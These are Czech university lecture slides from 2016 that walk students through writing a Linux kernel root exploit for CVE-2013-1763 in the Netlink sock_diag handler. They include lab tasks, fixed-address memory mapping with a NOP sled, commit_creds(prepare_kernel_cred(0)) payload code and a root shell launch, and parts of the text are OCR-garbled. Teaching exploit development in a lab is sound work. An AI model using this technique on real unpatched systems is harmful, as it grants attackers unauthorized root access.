PB173 - Ovladače jádra - Linux XIII. Exploit ve 2 hodinách Jiri Slabý Fakulta informatiky Masarykova univerzita 13. 12. 2016 Jiri Slabý (Fakulta informatiky, MU) PB173/04 13. 12. 2016 1 /26 Exploit ve 2 hodinách Q Výběr chyby a její popis Q Psaní exploitu • Vykonání__sock_diag_rcv_msg o Dosažení chyby ve funkci • Spuštění rootovského shellu Jiri Slabý (Fakulta informatiky, MU) PB173/04 13. 12. 2016 2/26 Sekce 1 Výběr chyby a její popis Jiri Slabý (Fakulta informatiky, MU) PB173/04 13. 12. 2016 3/26 Výběr chyby Kam se dívat o Exploit database • http://www.exploit-db.com/ • Přes 30'000 exploitů • Nejen pro Linuxové jádro Vybrali jsme chybu v Netlink kódu Jiri Slabý (Fakulta informatiky, MU) PB173/04 13. 12. 2016 4/26 Popis chyby • Zranitelnosti jsou číslované • CVE (http://cve .mitre . org/) • TatojeCVE-2013-1763 • Chyba ve funkci__sock_diag_rcv_msg • Obsluha zpráv • Netlink rodina: af_netlink • Diagnostická vrstva: netlink_sock_diag • Typ zprávy: struct sock_diag_req (viz dále) Zabalená v Netlink hlavičce: struct nimsghdr sock_diag_rcv_msg obsluhuje zprávy od uživatele. A nesplňuje „POZOR"! Jiri Slabý (Fakulta informatiky, MU) PB173/04 13.12.2016 5/26 sock_diag_rcv_msg static const struct sock_diag_handler *sock_diag_handlers[AF_MAX]; /* AF_MAX is 41 */ static int_sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) { int err; struct sock_diag_req *req = nlmsg_data(nlh); const struct sock_diag_handler *hndl; if (nlmsgjen(nlh) < sizeof(*req)) return -EINVAL; if (req->sdiag_family >= AF_MAX) /* commit 6e601 a5356 */ return -EINVAL; m utex_lock(&sock_d i ag_table_m utex); hndl = sock_diag_handlers[req->sdiag_family]; /* use of user's req->sdiag_family (_u8) */ if (hndl == NULL) err = -ENOENT; else err = hndl->dump(skb, nlh); /* dereference */ m utex_u n I ock(&sock_d i ag_tabl e_m utex); return err; } Jiri Slabý (Fakulta informatiky, MU) PB173/04 13. 12. 2016 6/26 Sekce 2 Psaní exploitu Jiri Slabý (Fakulta informatiky, MU) PB173/04 13. 12. 2016 7/26 Psaní exploitu Obecně Co jádro (nechtěně) dělá • Cte/zapisuje z/na uživatelem daný ukazatel • Skáče na uživatelem danou adresu • ... K čemu jádro přimět • Pád o DoS • Spustit uživatelův kód • Eskalace oprávnění Jiri Slabý (Fakulta informatiky, MU) PB173/04 13.12.2016 8/26 Úkol Instalace jádra s chybou O Stáhněte si jádro http://decibel.fi.muni.cz/~xslaby/ a kernel-default- O Nainstalujte • rpm -ivh --oldpackage kernel-default-* O Restartujte Nezapomeňte vybrat správnou verzi v GRUBu Jiri Slabý (Fakulta informatiky MU) PB173/04 13. 12. 2016 9/26 Psaní exploitu Pro__sock_diag_rcv_msg Tři základní kroky O Vykonat__sock_diag_rcv_msg O Dostat se k chybě ve funkci • Zneužít ji! O Spustit rootovský shell Jiri Slabý (Fakulta informatiky MU) PB173/04 13. 12. 2016 10/26 Subsection 1 Vykonání__sock_diag_rcv_msg Jiri Slabý (Fakulta informatiky, MU) PB173/04 13. 12. 2016 11/26 Vykonání funkce Vytvoření zprávy Zpráva SOCK.DIAG vrstvy struct { struct nlmsghdr nlh; /* Netlink header */ struct sock_diag_req r; /* Message from user */ } req; struct nlmsghdr 1 .nlmsg len = sizeof(req); .nlmsg type = SOCK DIAG BY FAMILY; .nlmsgjlags = NLMFROOT | NLM_F_MATCH | NLMFREQUEST; .nlmsg_seq = 123456; Jiri Slabý (Fakulta informatiky, MU) PB173/04 13. 12. 2016 12/26 Vykonání funkce Vytvoření soketu Dva pod kroky O Vytvoření soketu: socket 9 Rodina: af_netlink • Protokol: netlink_sock_diag Q Odeslání zprávy: send Jiri Slabý (Fakulta informatiky MU) PB173/04 13. 12. 2016 13/26 Úkol Vykonání funkce Vytvořte soket O Vytvořte a pošlete zprávu O Můžete pomocí f trace ověřit, že se funkce vykonala • /sys/kernel/debug/trac ing/README Jiri Slabý (Fakulta informatiky MU) PB173/04 13. 12. 2016 14/26 Subsection 2 Dosažení chyby ve funkci Jiri Slabý (Fakulta informatiky MU) PB173/04 13. 12. 2016 15/26 Dosažení chyby ve funkci Opakování kódu jádra static const struct sock_diag_handler *sock_diag_handlers[41]; struct sock_diag_req *req = nlmsg_data(nlh); hndl = sock_diag_handlers[req->sdiag_family]; err = hndl->dump(skb, nlh); sock_diag_req _u8 sdiag_family; _u8 sdiag_protocol; J Jiri Slabý (Fakulta informatiky MU) PB173/04 13. 12. 2016 16/26 Úkol Dosažení chyby ve funkci O Nastavte správný prvek ve struct sock_diag_req • V jádře je: hndl = sock_diag_handlers[req->sdiag_family] • Vy máte: req.r.sdiag_family • Nastavte na správnou hodnotu • Uvažte, že af_max je 41 O Opět pošlete takto upravenou zprávu O Pozorujte pád • Pokud pád nevidíte, zvolte jinou hodnotu • Nebo použijte cyklus O Restartujte systém • Do správného jádra Jiri Slabý (Fakulta informatiky MU) PB173/04 13. 12. 2016 17/26 Vyvolání specifické adresy Opakování kódu jádra static const struct sock_diag_handler *sock_diag_handlers[41]; hndl = sock_diag_handlers[req->sdiag_family]; err = hndl->dump(skb, nlh); Při dobře zvoleném indexu, lze skočit na předvídatelnou adresu • Index (req->sdiag_f amily) je__u8 • Maximální hodnota: 255 • Můžeme se dostat na paměť v rozsahu od sock_diag_handiers do sock_diag_handlers + 255 * sizeof(ukazatel) Jiri Slabý (Fakulta informatiky MU) PB173/04 13. 12. 2016 18/26 Na co lze skočit Výňatek Syst em. map ffffffff82182f80 b sock_diag_handlers ffffffff82183330 bact_base ffffffff82183340 B nljable /* interesting */ ffffffff82183348 b _key.43931 ffffffff82183380 bfamily_ht V rozsahu je např. Ukazatel nl.table na struct netlink.table • hndl = sock_diag_handlers [0x821833408 0x82182f8° = gjp = 120] <- nl.table 9 hndl->dump je na 8. bajtu ve struct sock_diag_handler • V nl_table je na té pozici hash.rehash_time • jiff ies předvídatelná hodnota Jiri Slabý (Fakulta informatiky MU) PB 173/04 13. 12. 2016 19/26 Oops BUG: unable to handle kernel paging request at 0000000100012a5c IP: [<0000000100012a5c>] 0x100012a5c Call Trace: [< ffffffff81439e66> [< ffffffff81439df0 > [< ffffffff81519145> [< ffffffff81451659 > [< ffffffff81439d24> [< ffffffff81450c7a > [< ffffffff8145107c > [< ffffffff8140eb6b> [< ffffffff81186d3d > [< ffffffff81412103 > [< ffffffff81186047 > [< ffffffff8140ecd1 > [< ffffffff811a06ae> [< ffffffff8140bcaf > [< ffffffff811ba6aa> [< ffffffff815192a9 > ? sock_diag_rcv_msg+0x76/0x130 ? sock_diag_unregister+0x50/0x50 ? ftrace_graph_caller+0x85/0x85 netl i n k_rcv_skb+0xa9/0xc0 ? sock_diag_rcv+0x24/0x40 ? netlink_unicast+0xda/0x1b0 ? netlink_sendmsg+0x32c/0x750 ? sock_sendmsg+0x8b/0xc0 ?_kmalloc+0x1cd/0x4a0 ? sk_prot_alloc+0xb3/0x180 ? kmem_cache_alloc_trace+0x207/0x450 ? SYSC_sendto+0xf1/0x180 ? allocjile +0x1e/0xf0 ? sock_alloc_file +0x9f/0x130 ? _fd_install+0x1a/0x40 ? system_call_fastpath+0x16/0x1 b Jiri Slabý (Fakulta informatiky, MU) PB173/04 13. 12. 2016 20/26 Mapování adresy Oops byl na OxOOOOOOOioooi2a5c • Namapovat a naplnit smysluplným kódem! • mmap na předem danou adresu • První parametr: Oxoooooooioooooooo • Délka mapování: dostatečná (např. 0x2000000) • Ochrana: prot_read I prot_write I prot_exec Vlaječky: map_private I map_fixed I map_anonymous o Vyplnit instrukcí ret (0xc3 na x86) Úkol: namapujte a vyplňte Jiri Slabý (Fakulta informatiky MU) PB173/04 13. 12. 2016 21 /26 Subsection 3 Spuštění rootovského shellu Jiri Slabý (Fakulta informatiky MU) PB173/04 13. 12. 2016 22/26 Eskalace oprávnění Volání funkcí jádra V jádře je to jednoduché Pod aktuálním procesem, v prostoru jádra, postačuje: commit_creds(prepare_kernel_cred(0)); Ale jak linkovat funkce jádra v uživatelském prostoru? • Najít adresu • Např. ze System.map • Uvažme adresu A funkce x() • Volat x() nepřímo • void (*y)() = A; y(); Jiri Slabý (Fakulta informatiky, MU) PB173/04 13.12.2016 23/26 Eskalace oprávnění Kód Kód k eskalaci oprávnění int (*commit_creds)(unsigned long) = X; unsigned long (*prepare_kernel_cred)( unsigned long) = Y; int kernel_code() { commit_creds(prepare_kernel_cred(0)); return -1; } void_jump(void); void_jump_end(void); void jump_payload_not_used() { asm volatile ("_jump:\n" "movq $kernel_code, %rax\n" "jmpq *%rax\n" "_jump_end:\n"); } Exploit's .text 0x100000000 int kernel_code() { commit_creds(prepare_kernel_cred(0)); return -1; } nop nop movq $kernel_code, %rax jmpq *%rax Jiri Slabý (Fakulta informatiky, MU) PB173/04 13. 12. 2016 24/26 Spuštění rootovského shellu Zavolání naší funkce const unsigned long jump_sz =_jump_end -_jump; memset(mmap_start, 0x90, mmap_size); /* 0x90 is 'nop' */ memcpy(mmap_start + mmap_size - jump_sz,_jump, jump_sz); Spuštění shellu if (! getuid ()) /* ami really root? */ system(7bin/sh"); Jiri Slabý (Fakulta informatiky MU) PB 173/04 13. 12. 2016 25/26 Úkol Spuštění rootovského shellu O Přidejte si kód pro zavolání jádrem • C i assembler, který ho bude volat Q Spusťte si shell • Po kontrole UID Jiri Slabý (Fakulta informatiky, MU) PB173/04 13. 12. 2016 26/26